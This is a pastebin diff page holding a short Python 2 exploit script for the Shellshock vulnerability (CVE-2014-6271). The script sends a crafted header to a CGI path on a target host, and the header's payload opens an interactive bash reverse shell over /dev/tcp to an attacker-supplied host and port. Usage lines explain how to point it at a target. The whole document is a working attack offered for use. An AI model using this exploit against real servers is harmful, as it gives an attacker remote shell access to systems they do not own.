View difference between Paste ID: ALraxhfv and 166f8Rjx
SHOW: | | - or go back to the newest paste.
1
#
2
#CVE-2014-6271 cgi-bin reverse shell
3
#
4
5
import httplib,urllib,sys
6
7
if (len(sys.argv)<4):
8
	print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
9
	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
10
	exit(0)
11
12
conn = httplib.HTTPConnection(sys.argv[1])
13
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
14
15
headers = {"Content-type": "application/x-www-form-urlencoded",
16
	"test":reverse_shell }
17
conn.request("GET",sys.argv[2],headers=headers)
18
res = conn.getresponse()
19
print res.status, res.reason
20
data = res.read()
21
print data